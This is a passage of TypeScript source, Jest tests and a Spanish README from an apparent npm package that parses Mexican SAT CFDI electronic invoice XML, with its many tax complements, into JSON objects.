<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"ine:INE": {
position: "ine",
attributes: ["version"]
}
};
export const allDataDefinition = {
"ine:INE": {
position: "ine",
attributes: ["version", "tipoProceso", "tipoComite", "idContabilidad"]
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"planesderetiro:Planesderetiro": {
position: "planesDeRetiro",
attributes: ["version"]
}
};
export const allDataDefinition = {
"planesderetiro:Planesderetiro": {
position: "planesDeRetiro",
attributes: [
"version",
"sistemaFinanc",
"montTotAportAnioInmAnterior",
"montIntRealesDevengAniooInmAnt",
"huboRetirosAnioInmAntPer",
"montTotRetiradoAnioInmAntPer",
"montTotExentRetiradoAnioInmAnt",
"montTotExedenteAnioInmAnt",
"huboRetirosAnioInmAnt",
"montTotRetiradoAnioInmAnt",
]
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"pagosaextranjeros:Pagosaextranjeros": {
position: "pagosAExtranjeros",
attributes: ["version"]
}
};
export const allDataDefinition = {
"pagosaextranjeros:Pagosaextranjeros": {
position: "pagosAExtranjeros",
attributes: [ "version", "esBenefEfectDelCobro" ],
nodes: {
"pagosaextranjeros:NoBeneficiario": {
strictArrayResponse: true,
position: "noBeneficiarios",
attributes: [
"paisDeResidParaEfecFisc",
"conceptoPago",
"descripcionConcepto",
],
},
"pagosaextranjeros:Beneficiario": {
strictArrayResponse: true,
position: "beneficiarios",
attributes: [
"rfc",
"curp",
"nomDenRazSocB",
"conceptoPago",
"descripcionConcepto",
],
},
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"aerolineas:Aerolineas": {
position: "aerolineas",
attributes: ["version"]
}
};
export const allDataDefinition = {
"aerolineas:Aerolineas": {
position: "aerolineas",
attributes: ["version", "tua"],
nodes: {
"aerolineas:OtrosCargos": {
position: "otrosCargos",
attributes: ["totalCargos"],
nodes: {
"aerolineas:Cargo": {
strictArrayResponse: true,
position: "cargosArray",
attributes: ["codigoCargo", "importe"]
}
}
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import edoCtaCombustible10 from "../estado-cuenta-combustible10";
describe("Estado de cuenta de combustible 10 data test", () => {
it("Execute without params", () => {
expect(edoCtaCombustible10()).toEqual({
"ecc:EstadoDeCuentaCombustible": {
position: "estadoCuentaCombustibles",
attributes: ["tipoOperacion", "numeroDeCuenta", "subTotal", "total"],
nodes: {
"ecc:Conceptos": {
nodes: {
"ecc:ConceptoEstadoDeCuentaCombustible": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"cantidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"ecc:Traslados": {
nodes: {
"ecc:Traslado": {
strictArrayResponse: true,
position: "traslados",
attributes: ["impuesto", "tasa", "importe"]
}
}
}
}
}
}
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(edoCtaCombustible10({ minimalData: false })).toEqual({
"ecc:EstadoDeCuentaCombustible": {
position: "estadoCuentaCombustibles",
attributes: ["tipoOperacion", "numeroDeCuenta", "subTotal", "total"],
nodes: {
"ecc:Conceptos": {
nodes: {
"ecc:ConceptoEstadoDeCuentaCombustible": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"cantidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"ecc:Traslados": {
nodes: {
"ecc:Traslado": {
strictArrayResponse: true,
position: "traslados",
attributes: ["impuesto", "tasa", "importe"]
}
}
}
}
}
}
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(edoCtaCombustible10({ minimalData: true })).toEqual({
"ecc:EstadoDeCuentaCombustible": {
position: "estadoCuentaCombustibles",
attributes: ["subTotal", "total"]
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"premios:Premios": {
position: "premios",
attributes: ["version"]
}
};
export const allDataDefinition = {
"premios:Premios": {
position: "premios",
attributes: [
"version",
"entidadFederativa",
"montTotPago",
"montTotPagoGrav",
"montTotPagoExent",
]
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import getImpuestosDefinition from "./impuestos";
import { tMinimalData } from "../index.d";
export function __getInnerNodes() {
return {
'Pago': {
position: "arrayPagos",
strictArrayResponse: true,
attributes: [
"fechaPago",
"formaDePagoP",
"monedaP",
"tipoCambioP",
"monto",
"numOperacion",
"rfcEmisorCtaOrd",
"nomBancoOrdExt",
"ctaOrdenante",
"rfcEmisorCtaBen",
"ctaBeneficiario",
"tipoCadPago",
"certPago",
"cadPago",
"selloPago"
],
nodes: {
'DoctoRelacionado': {
strictArrayResponse: true,
position: "docsRelacionados",
attributes: [
"idDocumento",
"serie",
"folio",
"monedaDR",
"tipoCambioDR",
"metodoDePagoDR",
"numParcialidad",
"impSaldoAnt",
"impPagado",
"impSaldoInsoluto"
]
},
'Impuestos': getImpuestosDefinition()
}
}
};
}
const minimalDataPagos = {
position: "pagos",
attributes: ["version"]
};
const allDataPagos = {
position: "pagos",
attributes: ["version"],
nodes: Object.assign(
__getInnerNodes(),
)
};
export const minimalDataDefinition = {
"Pagos": minimalDataPagos,
};
export const allDataDefinition = {
"Pagos": allDataPagos,
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep># CFDI to JSON
Este módulo soporta las versiónes 3.2 y 3.3 con los siguientes complementos del SAT.
- Timbre fiscal
- Pagos
- Impuestos Locales
- Nominas 1.1 y 1.2
- Estado cuenta combustible 1.0, 1.1 y 1.2
- Donatarias
- Divisas
- Leyendas fiscales
- PFintegrante coordinado
- Turista pasajero extranjero
- Spei
- Detallista
- Cfdi registro fiscal
- Pago en especie
- Vales de despensa
- Consumo de combustibles 1.0 y 1.1
- Aerolineas
- Notarios
- Vehiculos usados
- Servicio parcial construccion
- Renovacion sustitucion vehiculos
- Certificado destrucción
- Obras arte antiguedades
- ComercioExterior 1.1 y 1.1
- Ine
- Retenciones
- Arrendamiento en Fideicomiso
- Dividendos
- Enajenacion de Acciones
- Fideicomiso no Empresarial
- Intereses
- Intereses Hipotecarios
- Operaciones con Derivados
- Pagos a Extranjeros
- Planes de Retiro V1.1
- Premios
- Sector Financiero
- Servicios Plataformas Tecnologicas
### Instalación
```
npm i --save cfdi-to-json
```
### Uso
```Javascript
const CfdiToJson = require('cfdi-to-json');
var jsonCfdi = null;
// Uso con ruta del XML
jsonCfdi = CfdiToJson.parse({ path: 'RUTA_DEL_CFDI.xml' });
// Uso con el contenido del XML
jsonCfdi = CfdiToJson.parse({
contentXML: `
<?xml version="1.0" encoding="utf-8"?>
<cfdi:Comprobante Version="3.3" ...>
...
</cfdi:Comprobante>
`
});
```
### Estructura de datos
Este es un ejemplo de como vendría formateado el JSON resultado. Puedes probar con CFDIs complejos para ver como se formatean en tu caso.
```
{
version: String,
serie: String,
sello: String,
folio: String,
fecha: String,
formaDePago: String,
metodoDePago: String,
subTotal: String,
total: String,
certificado: String,
noCertificado: String,
tipoDeComprobante: String,
moneda: String,
tipoCambio: String,
descuento: String,
motivoDescuento: String,
lugarExpedicion: String,
numCtaPago: String,
emisor: Object<{
nombre: String,
rfc: String,
regimenFiscal: String
}>,
receptor: Object<{
nombre: String,
rfc: String,
residenciaFiscal: String,
numRegIdTrib: String,
usoCFDI: String
}>,
conceptos: Array<{
claveProdServ: String,
noIdentificacion: String,
cantidad: String,
claveUnidad: String,
unidad: String,
descripcion: String,
valorUnitario: String,
importe: String,
descuento: String
}>
impuestos: Object<{
totalImpuestosRetenidos: String,
totalImpuestosTrasladados: String,
traslados: Array<{ ... }>,
retenciones: Array<{ ... }>
}>,
timbreFiscal: Object<{
fechaTimbrado: String,
uuid: String,
noCertificadoSAT: String,
selloSAT: String,
selloCFD: String,
RFCProvCertif: String
}>
...
}
```
### Licencia
MIT
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"plataformasTecnologicas:ServiciosPlataformasTecnologicas": {
position: "plataformasTecnologicas",
attributes: ["version"]
}
};
export const allDataDefinition = {
"plataformasTecnologicas:ServiciosPlataformasTecnologicas": {
position: "plataformasTecnologicas",
attributes: [
'version', 'periodicidad', 'numServ', 'monTotServSIVA',
'totalIVATrasladado', 'totalIVARetenido', 'totalISRRetenido',
'difIVAEntregadoPrestServ', 'monTotalporUsoPlataforma', 'MonTotalContribucionGubernamental'
],
nodes: {
"plataformasTecnologicas:Servicios": {
position: 'servicios',
strictArrayResponse: true,
nodes: {
"plataformasTecnologicas:DetallesDelServicio": {
position: "detalles",
strictArrayResponse: true,
attributes: [
'formaPagoServ', 'tipoDeServ', 'subTipServ',
'RFCTerceroAutorizado', 'fechaServ', 'precioServSinIVA'
],
nodes: {
"plataformasTecnologicas:ImpuestosTrasladadosdelServicio": {
strictArrayResponse: true,
position: 'traslados',
attributes: [ 'base', 'impuesto', 'tipoFactor', 'tasaCuota', 'importe' ],
},
"plataformasTecnologicas:ContribucionGubernamental": {
strictArrayResponse: true,
position: 'contribucionesGubernamentales',
attributes: [ 'impContrib', 'entidadDondePagaLaContribucion' ],
},
"plataformasTecnologicas:ComisionDelServicio": {
strictArrayResponse: true,
position: 'comisionesDelServicio',
attributes: [ 'base', 'porcentaje', 'importe' ]
}
}
}
}
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { DOMParser } from 'xmldom';
import * as xpath from 'xpath';
import xpathNamespaces from './xpathNamespaces';
// Define namespaces
var select = xpath.useNamespaces(xpathNamespaces);
export default class XMLExtractData {
private doc: Document;
constructor(xml: string) {
var domParser = new DOMParser();
this.doc = domParser.parseFromString(xml);
}
public extractData(extractConfig: any) {
return this.extractNodes(extractConfig);
}
private extractNodes(nodes: any, elements?: Array<any>) {
let i: string, nodeName, attributes, tempObj, tempAttributes: any, position, element, innerKeys, keys = Object.keys(nodes);
let result: any = {};
for(i of keys) {
if(!elements || !elements.length) {
elements = select(i, this.doc);
}
tempAttributes = {};
tempObj = elements.length > 1 ? [] : {};
for(element of elements) {
if(nodes[i].attributes) {
attributes = this.mapReduceAttributes(element);
tempAttributes = {};
for(let attrPos of nodes[i].attributes) {
position = attrPos.toLowerCase();
if(attributes[position]) {
tempAttributes[attrPos] = nodes[i].upperCase
? attributes[position].toUpperCase()
: attributes[position];
}
}
}
if(nodes[i].nodes) {
innerKeys = Object.keys(nodes[i].nodes);
let nodeValue = null, nodeElements;
for(nodeName of innerKeys) {
nodeElements = this.getChildNodesByTagName(element, nodeName);
if(!nodeElements.length) { continue; }
nodeValue = this.extractNodes({[nodeName]: nodes[i].nodes[nodeName]}, nodeElements);
if(
nodes[i].nodes[nodeName].position
&& nodes[i].nodes[nodeName].position == 'nominas'
) {
let versions = nodeValue.map((item: any) => item.version);
if(nodes[i].nodes[nodeName].version != versions[0]) {
continue;
}
}
if(nodes[i].nodes[nodeName].position) {
tempAttributes[nodes[i].nodes[nodeName].position] = nodeValue;
} else {
tempAttributes = (<any> Object).assign({}, tempAttributes, nodeValue);
}
}
}
if(nodes[i].strictTextContent) {
tempAttributes = { [nodes[i].textContentPosition || i]: element.textContent };
}
if (elements.length > 1) {
tempObj.push(tempAttributes);
} else {
tempObj = tempAttributes;
}
}
if(nodes[i].strictArrayResponse) {
result = tempObj.length ? tempObj : [tempObj];
} else {
if(tempObj instanceof Array) {
result = (<any> Object).assign({},
result,
tempObj.reduce(
(prev, next) => (<any> Object).assign({}, prev, next),
{}
)
);
} else {
result = (<any> Object).assign({}, result, tempObj);
}
}
}
return result;
}
private getChildNodesByTagName(element: any, nodeName: any) {
let array = [];
for(let i = 0; i < element.childNodes.length; i++) {
if(
element.childNodes.item(i).tagName &&
(
element.childNodes.item(i).tagName === nodeName ||
element.childNodes.item(i).localName === nodeName
)
) {
array.push(element.childNodes.item(i));
}
}
return array;
}
private getAttributesElement(element: any) {
let attributes = [];
if(element.attributes) {
for(let i = 0; i < element.attributes.length; i++) {
attributes.push(element.attributes[i]);
}
}
return attributes;
}
private mapReduceAttributes(element: any) {
let length = element.attributes.length;
let attributes: any = this.getAttributesElement(element)
.map((attr: any) => {
let obj: any = {};
obj[attr.name.toLowerCase()] = attr.value;
return obj;
});
if(attributes.length) {
attributes = attributes.reduce((prev: any, next: any) => {
return (<any> Object).assign(prev, next);
}, {});
}
attributes.length = length;
return attributes;
}
}
<file_sep>import pfIntegranteCoordinadoTemplate from "../pf-integrante-coordinado";
describe("Pf integrante coordinado data test", () => {
it("Execute without params", () => {
expect(pfIntegranteCoordinadoTemplate()).toEqual({
"pfic:PFintegranteCoordinado": {
position: "pfIntegranteCoordinado",
attributes: ["version", "claveVehicular", "placa", "RFCPF"]
}
});
});
it("Execute with minimalData: False", () => {
expect(pfIntegranteCoordinadoTemplate({ minimalData: false })).toEqual({
"pfic:PFintegranteCoordinado": {
position: "pfIntegranteCoordinado",
attributes: ["version", "claveVehicular", "placa", "RFCPF"]
}
});
});
it("Execute with minimalData: True", () => {
expect(pfIntegranteCoordinadoTemplate({ minimalData: true })).toEqual({
"pfic:PFintegranteCoordinado": {
position: "pfIntegranteCoordinado",
attributes: ["version"]
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"servicioparcial:parcialesconstruccion": {
position: "servicioParcial",
attributes: ["version"]
}
};
export const allDataDefinition = {
"servicioparcial:parcialesconstruccion": {
position: "servicioParcial",
attributes: ["version", "numPerLicoAut"],
nodes: {
"servicioparcial:Inmueble": {
attributes: [
"calle",
"noExterior",
"noInterior",
"colonia",
"localidad",
"referencia",
"municipio",
"estado",
"codigoPostal"
]
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"nomina:Nomina": {
strictArrayResponse: true,
position: "nominas",
version: '1.1',
attributes: ["version"]
}
};
export const allDataDefinition = {
"nomina:Nomina": {
strictArrayResponse: true,
position: "nominas",
version: '1.1',
attributes: [
"banco",
"antiguedad",
"numEmpleado",
"tipoJornada",
"tipoRegimen",
"tipoContrato",
"fechaInicioRelLaboral",
"fechaInicialPago",
"fechaFinalPago",
"fechaPago",
"curp",
"version",
"periodicidadPago",
"tipoRegimen",
"numSeguridadSocial",
"registroPatronal",
"puesto",
"departamento",
"salarioDiarioIntegrado",
"salarioBaseCotApor"
],
nodes: {
"nomina:Percepciones": {
position: "percepciones",
attributes: ["totalGravado", "totalExento"],
nodes: {
"nomina:Percepcion": {
attributes: [
"tipoPercepcion",
"clave",
"concepto",
"importeGravado",
"importeExento"
],
strictArrayResponse: true,
position: "arrayPercepciones"
}
}
},
"nomina:Deducciones": {
position: "deducciones",
attributes: ["totalGravado", "totalExento"],
nodes: {
"nomina:Deduccion": {
attributes: [
"tipoDeduccion",
"clave",
"concepto",
"importeGravado",
"importeExento"
],
strictArrayResponse: true,
position: "arrayDeducciones"
}
}
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import impuestosTemplate from "../impuestos";
describe("Impuestos data test", () => {
it("Execute without params", () => {
expect(impuestosTemplate()).toEqual({
position: "impuestos",
attributes: ["totalImpuestosRetenidos", "totalImpuestosTrasladados"],
nodes: {
'Traslados': {
nodes: {
'Traslado': {
position: "traslados",
strictArrayResponse: true,
// Aplica tasa para cfdi v3.2
attributes: [
"impuesto",
"tipoFactor",
"tasaOCuota",
"importe",
"tasa"
]
}
}
},
'Retenciones': {
nodes: {
'Retencion': {
position: "retenciones",
strictArrayResponse: true,
attributes: ["impuesto", "importe"]
}
}
}
}
});
});
});
<file_sep>import operacionesConDerivados10Template from "../retenciones.operacionesConDerivados10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(operacionesConDerivados10Template()).toEqual({
"operacionesconderivados:Operacionesconderivados": {
position: "operacionesConDerivados",
attributes: [
"version",
"montGanAcum",
"montPerdDed",
]
}
});
});
it("Execute with minimalData true", () => {
expect(
operacionesConDerivados10Template({
minimalData: true
})
).toEqual({
"operacionesconderivados:Operacionesconderivados": {
position: "operacionesConDerivados",
attributes: ["version"]
}
});
});
it("Execute with minimalData false", () => {
expect(
operacionesConDerivados10Template({
minimalData: false
})
).toEqual({
"operacionesconderivados:Operacionesconderivados": {
position: "operacionesConDerivados",
attributes: [
"version",
"montGanAcum",
"montPerdDed",
]
}
});
});
});
<file_sep>export default {
'cfdi': 'http://www.sat.gob.mx/cfd/3',
'retenciones':'http://www.sat.gob.mx/esquemas/retencionpago/1',
'plataformasTecnologicas':'http://www.sat.gob.mx/esquemas/retencionpago/1/PlataformasTecnologicas10',
'arrendamientoenfideicomiso': 'http://www.sat.gob.mx/esquemas/retencionpago/1/arrendamientoenfideicomiso',
'dividendos': 'http://www.sat.gob.mx/esquemas/retencionpago/1/dividendos',
'enajenaciondeacciones': 'http://www.sat.gob.mx/esquemas/retencionpago/1/enajenaciondeacciones',
'fideicomisonoempresarial': 'http://www.sat.gob.mx/esquemas/retencionpago/1/fideicomisonoempresarial',
'intereses': 'http://www.sat.gob.mx/esquemas/retencionpago/1/intereses',
'intereseshipotecarios': 'http://www.sat.gob.mx/esquemas/retencionpago/1/intereseshipotecarios',
'operacionesconderivados': 'http://www.sat.gob.mx/esquemas/retencionpago/1/operacionesconderivados',
'pagosaextranjeros': 'http://www.sat.gob.mx/esquemas/retencionpago/1/pagosaextranjeros',
'planesderetiro': 'http://www.sat.gob.mx/esquemas/retencionpago/1/planesderetiro',
'premios': 'http://www.sat.gob.mx/esquemas/retencionpago/1/premios',
'sectorfinanciero': 'http://www.sat.gob.mx/esquemas/retencionpago/1/sectorfinanciero',
'tfd': 'http://www.sat.gob.mx/TimbreFiscalDigital',
'terceros': 'http://www.sat.gob.mx/terceros',
'nomina': 'http://www.sat.gob.mx/nomina',
'nomina12': 'http://www.sat.gob.mx/nomina12',
'ecc': 'http://www.sat.gob.mx/ecc',
'EstadoDeCuentaCombustible': 'http://www.sat.gob.mx/EstadoDeCuentaCombustible',
'EstadoDeCuentaCombustible12': 'http://www.sat.gob.mx/EstadoDeCuentaCombustible12',
'donat': 'http://www.sat.gob.mx/donat',
'divisas': 'http://www.sat.gob.mx/divisas',
'leyendasFiscales': 'http://www.sat.gob.mx/leyendasFiscales',
'pfic': 'http://www.sat.gob.mx/pfic',
'TuristaPasajeroExtranjero': 'http://www.sat.gob.mx/TuristaPasajeroExtranjero',
'registrofiscal': 'http://www.sat.gob.mx/registrofiscal',
'consumodecombustibles': 'http://www.sat.gob.mx/consumodecombustibles',
'ConsumoDeCombustibles11': 'http://www.sat.gob.mx/ConsumoDeCombustibles11',
'pagoenespecie': 'http://www.sat.gob.mx/pagoenespecie',
'spei': 'http://www.sat.gob.mx/spei',
'valesdedespensa': 'http://www.sat.gob.mx/valesdedespensa',
'vehiculousado': 'http://www.sat.gob.mx/vehiculousado',
'renovacionysustitucionvehiculos': 'http://www.sat.gob.mx/renovacionysustitucionvehiculos',
'servicioparcialconstruccion': 'http://www.sat.gob.mx/servicioparcialconstruccion',
'notariospublicos': 'http://www.sat.gob.mx/notariospublicos',
'aerolineas': 'http://www.sat.gob.mx/aerolineas',
'certificadodestruccion': 'http://www.sat.gob.mx/certificadodestruccion',
'arteantiguedades': 'http://www.sat.gob.mx/arteantiguedades',
'ine': 'http://www.sat.gob.mx/ine',
'iedu': 'http://www.sat.gob.mx/iedu',
'ventavehiculos': 'http://www.sat.gob.mx/ventavehiculos',
'acreditamiento': 'http://www.sat.gob.mx/acreditamiento',
'ComercioExterior': 'http://www.sat.gob.mx/ComercioExterior',
'ComercioExterior11': 'http://www.sat.gob.mx/ComercioExterior11',
'implocal': 'http://www.sat.gob.mx/implocal',
'servicioparcial': 'http://www.sat.gob.mx/servicioparcial',
'detallista': 'http://www.sat.gob.mx/detallista',
'pago10': 'http://www.sat.gob.mx/Pagos',
};
<file_sep>import * as fs from 'fs';
import * as htmlEntity from 'he';
import XMLExtract from './../XmlExtractData';
import * as templatesDefinition from './templates';
import {
tImpuesto, tMinimalData
} from '@OwnTypes';
var __templates_definitions__ :any = { };
export default class CfdiExtractData {
public static extractGeneralData(params: {path?: any, contentXML?: any, minimalData?: Boolean}) {
let contentXML = params.contentXML;
if(params.path) {
if(fs.existsSync(params.path)) {
contentXML = fs.readFileSync(params.path, 'utf8');
} else {
return { error: 'FILE_NOT_FOUND' };
}
}
let isRetencion = contentXML.indexOf('retenciones:Retenciones') >= 0;
let data: any = {};
let xmlExtract = new XMLExtract(contentXML);
let option :any = CfdiExtractData.getXMLVersion(xmlExtract, { isRetencion });
let extractMethod = null;
switch (option.version) {
case "1.0":
extractMethod = CfdiExtractData.extractDataRetencion10.bind(CfdiExtractData);
break;
case "3.0":
case "3.1":
case "3.2":
extractMethod = CfdiExtractData.extractDataCFDI32.bind(CfdiExtractData);
break;
case "3.3":
extractMethod = CfdiExtractData.extractDataCFDI33.bind(CfdiExtractData);
break;
default:
// TODO: add exception
throw `${option.version} Invalid version`;
}
data = extractMethod({
xmlExtract,
minimalData: params.minimalData
});
if(data.emisor && data.emisor.rfc) {
data.emisor.rfc = htmlEntity.decode(data.emisor.rfc);
}
if(data.receptor && data.receptor.rfc) {
data.receptor.rfc = htmlEntity.decode(data.receptor.rfc);
}
if(data.nominas && data.nominas.length) {
data.nominas = data.nominas.map((nomina: any) => Object.assign({}, nomina, {
emisor: Object.assign({ }, nomina.emisor || { }, {
rfcPatronOrigen: htmlEntity.decode(nomina.emisor ? (nomina.emisor.rfcPatronOrigen || '') : '')
})
}));
}
if(isRetencion) {
data = {
isRetencion,
...data,
}
}
return data;
}
public static getByCustomTemplateDefinition(params: {path?: any, contentXML?: any, templateDefinition: any}) {
let contentXML = params.contentXML;
if(params.path) {
if(fs.existsSync(params.path)) {
contentXML = fs.readFileSync(params.path, 'utf8');
} else {
return { error: 'FILE_NOT_FOUND' };
}
}
const xmlExtract = new XMLExtract(contentXML);
const data = xmlExtract.extractData(params.templateDefinition);
return data;
}
public static getUuidByXML(params: {path?: any, contentXML?: any}) {
let contentXML = params.contentXML;
if(params.path) {
if(fs.existsSync(params.path)) {
contentXML = fs.readFileSync(params.path, 'utf8');
} else {
return { error: 'FILE_NOT_FOUND' };
}
}
const xmlExtract = new XMLExtract(contentXML);
const timbreDefinition = templatesDefinition.getTimbreDefinition({ minimalData: true });
if(!__templates_definitions__.getUuidByXML) {
__templates_definitions__.getUuidByXML = {
/*
* Algunos XMLs en especial los viejitos tenian estructuras distintas al estandar
***/
'Comprobante | cfdi:Comprobante': {
nodes: {
'Complemento': {
nodes: timbreDefinition
},
}
},
}
}
const data: any = xmlExtract.extractData(__templates_definitions__.getUuidByXML);
return data.uuid;
}
public static getXMLVersion(xmlExtract: XMLExtract, params?: { isRetencion: any }) {
if(params && params.isRetencion) {
if(!__templates_definitions__.getXMLVersionRetencion) {
__templates_definitions__.getXMLVersionRetencion = {
'retenciones:Retenciones': {
attributes: [ 'version' ]
}
};
}
return xmlExtract.extractData(__templates_definitions__.getXMLVersionRetencion);
}
if(!__templates_definitions__.getXMLVersion) {
__templates_definitions__.getXMLVersion = {
'Comprobante | cfdi:Comprobante': {
attributes: [ 'version' ]
}
};
}
return xmlExtract.extractData(__templates_definitions__.getXMLVersion);
}
public static extractDataCFDI32(params: { xmlExtract: XMLExtract, minimalData: Boolean, customTemplateDefinition?: Object }) {
let data, complementsDefinition = this.getComplementsDefinition({ minimalData: params.minimalData });
let templatesDefinitionPosition = `extractDataCFDI32${params.minimalData ? 'Min' : ''}`;
if(params.minimalData) {
if(!__templates_definitions__[templatesDefinitionPosition]) {
__templates_definitions__[templatesDefinitionPosition] = {
'Comprobante | cfdi:Comprobante': {
attributes: [
'version', 'fecha', 'formaDePago', 'metodoDePago', 'tipoDeComprobante'
],
nodes: {
'Emisor': {
position: 'emisor',
attributes: ['rfc'],
},
'Receptor': {
position: 'receptor',
attributes: ['rfc'],
},
'Conceptos': {
nodes: {
'Concepto': {
position: 'conceptos',
strictArrayResponse: true,
nodes: {
'ComplementoConcepto': this.getConceptsComplementsDefinition({ minimalData: params.minimalData }),
}
}
}
},
'Complemento': complementsDefinition,
}
}
};
}
/*
* Esta condicional es para obtener unicamente los datos necesarios
* para registrar en base de datos
*/
return params.xmlExtract.extractData(__templates_definitions__[templatesDefinitionPosition]);
}
if(!__templates_definitions__[templatesDefinitionPosition]) {
let arrayAddress = [
'calle','noExterior','noInterior','colonia','municipio','localidad','estado','pais','codigoPostal'
];
let conceptosDefinition = this.getConcepts32Definition(params);
__templates_definitions__[templatesDefinitionPosition] = {
'Comprobante | cfdi:Comprobante': {
attributes: [
'version', 'serie', 'sello', 'folio', 'fecha', 'formaDePago',
'metodoDePago', 'subTotal', 'total', 'certificado',
'noCertificado', 'tipoDeComprobante', 'moneda', 'tipoCambio',
'descuento', 'motivoDescuento', 'lugarExpedicion', 'numCtaPago'
],
nodes: {
'Emisor': {
position: 'emisor',
attributes: ['nombre', 'rfc'],
nodes: {
'DomicilioFiscal': {
position: 'domicilioFiscal',
attributes: arrayAddress
},
'ExpedidoEn': {
position: 'expedidoEn',
attributes: arrayAddress
},
'RegimenFiscal': {
attributes: ['regimen']
}
}
},
'Receptor': {
position: 'receptor',
attributes: ['nombre','rfc'],
nodes: {
'Domicilio': {
position: 'domicilio',
attributes: arrayAddress
}
}
},
'Conceptos': conceptosDefinition,
'Impuestos': templatesDefinition.getImpuestosDefinition(),
'Complemento': complementsDefinition,
}
}
};
}
data = params.xmlExtract.extractData(__templates_definitions__[templatesDefinitionPosition]);
if(data.impuestos && data.impuestos.traslados) {
if(data.impuestos.totalImpuestosTrasladados) {
data.impuestos.totalImpuestosTrasladados = parseFloat(data.impuestos.totalImpuestosTrasladados);
}
data.impuestos.traslados = CfdiExtractData.getTaxesWithoutDuplicates(data.impuestos.traslados);
}
if(data.impuestos && data.impuestos.retenciones) {
if(data.impuestos.totalImpuestosRetenidos) {
data.impuestos.totalImpuestosRetenidos = parseFloat(data.impuestos.totalImpuestosRetenidos);
}
data.impuestos.retenciones = CfdiExtractData.getTaxesWithoutDuplicates(data.impuestos.retenciones);
}
return data;
}
public static extractDataCFDI33(params: { xmlExtract: XMLExtract, minimalData: Boolean, customTemplateDefinition?: Object }) {
let data, complementsDefinition = this.getComplementsDefinition({ minimalData: params.minimalData });
let templatesDefinitionPosition = `extractDataCFDI33${params.minimalData ? 'Min' : ''}`;
if(params.minimalData) {
if(!__templates_definitions__[templatesDefinitionPosition]) {
__templates_definitions__[templatesDefinitionPosition] = {
'Comprobante | cfdi:Comprobante': {
attributes: [
'version', 'fecha', 'formaPago', 'metodoPago', 'tipoDeComprobante'
],
nodes: {
'CfdiRelacionados': {
position: 'relacionados',
attributes: ['tipoRelacion'],
nodes: {
'CfdiRelacionado': {
position: 'uuids',
strictArrayResponse: true,
attributes: ['uuid']
}
}
},
'Emisor': {
position: 'emisor',
attributes: ['rfc'],
},
'Receptor': {
position: 'receptor',
attributes: ['rfc', 'usoCFDI'],
},
'Conceptos': {
nodes: {
'Concepto': {
position: 'conceptos',
strictArrayResponse: true,
nodes: {
'ComplementoConcepto': this.getConceptsComplementsDefinition({ minimalData: params.minimalData }),
}
}
}
},
'Complemento': complementsDefinition,
}
}
};
}
/*
* Esta condicional es para obtener unicamente los datos necesarios
* para registrar en base de datos
*/
return params.xmlExtract.extractData(__templates_definitions__[templatesDefinitionPosition]);
}
if(!__templates_definitions__[templatesDefinitionPosition]) {
let conceptosDefinition = this.getConcepts33Definition(params);
__templates_definitions__[templatesDefinitionPosition] = {
'Comprobante | cfdi:Comprobante': {
attributes: [
'version','serie','folio','fecha','sello','formaPago','noCertificado',
'certificado','condicionesDePago','subTotal','descuento','moneda',
'tipoCambio','total','tipoDeComprobante','metodoPago','lugarExpedicion','confirmacion'
], nodes: {
'CfdiRelacionados': {
position: 'relacionados',
attributes: ['tipoRelacion'],
nodes: {
'CfdiRelacionado': {
position: 'uuids',
strictArrayResponse: true,
attributes: ['uuid']
}
}
},
'Emisor': {
position: 'emisor',
attributes: ['nombre', 'rfc', 'regimenFiscal']
},
'Receptor': {
position: 'receptor',
attributes: ['nombre', 'rfc', 'residenciaFiscal', 'numRegIdTrib', 'usoCFDI']
},
'Conceptos': conceptosDefinition,
'Impuestos': templatesDefinition.getImpuestosDefinition(),
'Complemento': complementsDefinition,
}
}
};
}
data = params.xmlExtract.extractData(__templates_definitions__[templatesDefinitionPosition]);
if(data.impuestos && data.impuestos.traslados) {
if(data.impuestos.totalImpuestosTrasladados) {
data.impuestos.totalImpuestosTrasladados = parseFloat(data.impuestos.totalImpuestosTrasladados);
}
data.impuestos.traslados = CfdiExtractData.getTaxesWithoutDuplicates(data.impuestos.traslados);
}
if(data.impuestos && data.impuestos.retenciones) {
if(data.impuestos.totalImpuestosRetenidos) {
data.impuestos.totalImpuestosRetenidos = parseFloat(data.impuestos.totalImpuestosRetenidos);
}
data.impuestos.retenciones = CfdiExtractData.getTaxesWithoutDuplicates(data.impuestos.retenciones);
}
return data;
}
